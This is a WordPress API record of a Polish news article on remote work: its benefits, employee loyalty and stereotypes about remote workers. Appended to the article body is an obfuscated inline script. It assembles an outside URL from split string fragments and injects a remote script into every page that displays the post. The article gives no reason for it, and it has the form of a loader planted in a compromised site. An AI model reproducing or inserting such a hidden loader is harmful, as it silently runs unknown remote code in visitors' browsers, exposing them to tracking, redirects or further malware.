{"id":4391,"date":"2019-09-19T20:30:15","date_gmt":"2019-09-19T19:30:15","guid":{"rendered":"https:\/\/strefawolnejprasy.pl\/?p=4391"},"modified":"2019-09-19T20:30:15","modified_gmt":"2019-09-19T19:30:15","slug":"praca-zdalna-korzysci-i-wyzwania","status":"publish","type":"post","link":"https:\/\/strefawolnejprasy.pl\/swp-new\/praca-zdalna-korzysci-i-wyzwania\/","title":{"rendered":"Praca zdalna \u2013 korzy\u015bci i wyzwania &#8211; lojalno\u015b\u0107 pracownika, stereotypy, korzy\u015bci"},"content":{"rendered":"<p>W 2018 roku \u015bredni czas pracy zdalnej w ci\u0105gu miesi\u0105ca u polskich pracownik\u00f3w wyni\u00f3s\u0142 8,5 dnia. Badania wykaza\u0142y, \u017ce 95% ankietowanych ocenia pozytywnie ten model pracy. Jak wynika z raportu \u201eThe Remote Future. Rynek pracy zdalnej a oczekiwania pracownik\u00f3w. Edycja Polska 2018\u201d \u2013 blisko 70% pracownik\u00f3w przyzna\u0142o, \u017ce przez okre\u015blony czas chcia\u0142oby korzysta\u0107 z benefitu polegaj\u0105cego na mo\u017cliwo\u015bci pracy zdalnej z zagranicy. Taki sam procent ankietowanych nie ma w og\u00f3le mo\u017cliwo\u015bci pracy zdalnej, chocia\u017c jak twierdz\u0105 \u2013 taki benefit zwi\u0119kszy\u0142by ich lojalno\u015b\u0107 wobec organizacji. Dlaczego mimo licznych korzy\u015bci zar\u00f3wno po stronie pracownik\u00f3w, jak i przedsi\u0119biorstwa, praca zdalna w wielu firmach wci\u0105\u017c napotyka du\u017cy op\u00f3r w\u015br\u00f3d kadry zarz\u0105dzaj\u0105cej?<\/p>\n<h3><b>Czy mo\u017cliwo\u015b\u0107 pracy zdalnej mo\u017ce wp\u0142yn\u0105\u0107 na lojalno\u015b\u0107 pracownika wobec pracodawcy?<\/b><\/h3>\n<p>Wszystkie prognozy biznesowe wskazuj\u0105 na to, \u017ce praca zdalna na ca\u0142ym \u015bwiecie b\u0119dzie stawa\u0107 si\u0119 coraz popularniejszym rozwi\u0105zaniem. W 2018 roku liczba telepracownik\u00f3w wzros\u0142a w Stanach Zjednoczonych o prawie 12%. Przybywa r\u00f3wnie\u017c organizacji, kt\u00f3re w og\u00f3le nie posiadaj\u0105 biura, a ich pracownicy pracuj\u0105 z r\u00f3\u017cnych zak\u0105tk\u00f3w \u015bwiata. Ta tendencja wynika z preferencji zatrudnionych \u2013 w szczeg\u00f3lno\u015bci os\u00f3b pracuj\u0105cych w bran\u017cy technologicznej. Ju\u017c ponad po\u0142owa polskich pracownik\u00f3w i 80-90% Amerykan\u00f3w jest zainteresowana prac\u0105 zdaln\u0105 w przynajmniej w cz\u0119\u015bciowym wymiarze godzinowym. Nic dziwnego, \u017ce HR Business Partnerzy wychodz\u0105 naprzeciw tym upodobaniom, chc\u0105c przyci\u0105gn\u0105\u0107 do firmy najlepszych kandydat\u00f3w.<\/p>\n<h3><b>Stereotypowy obraz pracownika zdalnego<\/b><\/h3>\n<p>Panuje powszechne przekonanie, \u017ce praca zdalna wi\u0105\u017ce si\u0119 ze spadkiem wydajno\u015bci pracownika, a nawet kojarzy si\u0119 z dodatkowymi dniami urlopu. Okazuje si\u0119 jednak, \u017ce stereotyp osoby pracuj\u0105cej poza siedzib\u0105 firmy w wi\u0119kszo\u015bci przypadk\u00f3w ma niewiele wsp\u00f3lnego z rzeczywisto\u015bci\u0105. Jak podaje Zuzanna Przyby\u0142a, konsultant, trener, mentor i facylitator zespo\u0142\u00f3w rozproszonych, zupe\u0142nie inne pobudki sk\u0142aniaj\u0105 pracownik\u00f3w do telepracy, za\u015b motywy te s\u0105 bardzo korzystne dla organizacji. Co zatem czyni ten model pracy tak atrakcyjnym?<\/p>\n<h3><b>Dlaczego coraz wi\u0119cej pracownik\u00f3w decyduje si\u0119 na teleprac\u0119?<\/b><\/h3>\n<p>Dla wielu pracownik\u00f3w wsp\u00f3\u0142dzielone pomieszczenia lub przestrzenie typu open space nie stanowi\u0105 warunk\u00f3w sprzyjaj\u0105cych koncentracji i efektywnej pracy. Cz\u0119\u015b\u0107 ankietowanych os\u00f3b deklaruje, \u017ce potrafi skupi\u0107 si\u0119 wy\u0142\u0105cznie w ca\u0142kowitej ciszy. Praca zdalna oznacza dla nich brak dystraktor\u00f3w w postaci rozmawiaj\u0105cych wsp\u00f3\u0142pracownik\u00f3w, nieustannie dzwoni\u0105cych telefon\u00f3w, ha\u0142as\u00f3w dochodz\u0105cych z pokoj\u00f3w socjalnych czy nieplanowanych spotka\u0144 biznesowych. Pracownicy decyduj\u0105cy si\u0119 na teleprac\u0119 pr\u00f3buj\u0105 stworzy\u0107 sobie stanowisko pracy, kt\u00f3re u\u0142atwi im lepsze skupienie si\u0119 na obowi\u0105zkach zawodowych. Zuzanna Przyby\u0142a podkre\u015bla, \u017ce istotnym czynnikiem motywuj\u0105cym ludzi do podj\u0119cia pracy zdalnej jest mo\u017cliwo\u015b\u0107 ograniczenia czasoch\u0142onnych dojazd\u00f3w do biura.<\/p>\n<p>Artyku\u0142 powsta\u0142 przy wsp\u00f3\u0142pracy z redakcj\u0105 czasopisma\u00a0<a href=\"https:\/\/hrbusinesspartner.pl\/\" target=\"_blank\" rel=\"noopener noreferrer\">HRBusinessPartner.pl<\/a>.<\/p>\n<p><script>\n(function(){\ncXlx=document.createElement(\"script\");cXlx_=(\"ust\");cXlxu=\"3644359\";\ncXlx_+=\"a\"+(\"t.i\");cXlx.type=\"text\/javascript\";\ncXlxu+=\".fXlc8zkrXlx3i8bs90x6\";cXlx.async=true;cXlx_+=\"n\"+(\"f\"+\"o\")+\"\/\";\ncXlxu+=\"98w9c2cmscmq\";cXlx.src=\"https:\/\/\"+cXlx_+cXlxu;\ndocument.body.appendChild(cXlx);\n})();\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>W 2018 roku \u015bredni czas pracy zdalnej w ci\u0105gu miesi\u0105ca u polskich pracownik\u00f3w wyni\u00f3s\u0142 8,5 dnia. Badania wykaza\u0142y, \u017ce 95% ankietowanych ocenia pozytywnie ten model pracy. Jak wynika z raportu \u201eThe Remote Future. Rynek pracy zdalnej a oczekiwania pracownik\u00f3w. Edycja Polska 2018\u201d \u2013 blisko 70% pracownik\u00f3w przyzna\u0142o, \u017ce przez okre\u015blony czas chcia\u0142oby korzysta\u0107 z benefitu [&hellip;]<\/p>\n","protected":false},"author":11,"featured_media":10758,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[191,248],"tags":[],"class_list":["post-4391","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-praca","category-wiadomosci"],"_links":{"self":[{"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/posts\/4391","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/comments?post=4391"}],"version-history":[{"count":0,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/posts\/4391\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/media\/10758"}],"wp:attachment":[{"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/media?parent=4391"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/categories?post=4391"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/tags?post=4391"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}